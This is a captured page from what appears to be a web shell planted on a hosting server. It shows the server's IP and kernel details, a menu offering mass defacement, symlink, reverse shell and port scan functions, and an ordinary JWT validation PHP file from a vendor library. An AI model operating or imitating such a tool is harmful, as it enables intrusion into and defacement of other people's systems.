ヤミRoot VoidGate
User / IP
:
216.73.216.143
Host / Server
:
146.88.233.70 / dev.loger.cm
System
:
Linux hybrid1120.fr.ns.planethoster.net 3.10.0-957.21.2.el7.x86_64 #1 SMP Wed Jun 5 14:26:44 UTC 2019 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
logercm
/
dev.loger.cm
/
vendor
/
lcobucci
/
jwt
/
src
/
Validation
/
Constraint
/
Viewing: ValidAt.php
<?php namespace Lcobucci\JWT\Validation\Constraint; use DateInterval; use DateTimeInterface; use Lcobucci\Clock\Clock; use Lcobucci\JWT\Token; use Lcobucci\JWT\Validation\Constraint; use Lcobucci\JWT\Validation\ConstraintViolation; final class ValidAt implements Constraint { /** @var Clock */ private $clock; /** @var DateInterval */ private $leeway; public function __construct(Clock $clock, DateInterval $leeway = null) { $this->clock = $clock; $this->leeway = $this->guardLeeway($leeway); } /** @return DateInterval */ private function guardLeeway(DateInterval $leeway = null) { if ($leeway === null) { return new DateInterval('PT0S'); } if ($leeway->invert === 1) { throw LeewayCannotBeNegative::create(); } return $leeway; } public function assert(Token $token) { $now = $this->clock->now(); $this->assertIssueTime($token, $now->add($this->leeway)); $this->assertMinimumTime($token, $now->add($this->leeway)); $this->assertExpiration($token, $now->sub($this->leeway)); } /** @throws ConstraintViolation */ private function assertExpiration(Token $token, DateTimeInterface $now) { if ($token->isExpired($now)) { throw new ConstraintViolation('The token is expired'); } } /** @throws ConstraintViolation */ private function assertMinimumTime(Token $token, DateTimeInterface $now) { if (! $token->isMinimumTimeBefore($now)) { throw new ConstraintViolation('The token cannot be used yet'); } } /** @throws ConstraintViolation */ private function assertIssueTime(Token $token, DateTimeInterface $now) { if (! $token->hasBeenIssuedBefore($now)) { throw new ConstraintViolation('The token was issued in the future'); } } }
Coded With 💗 by
0x6ick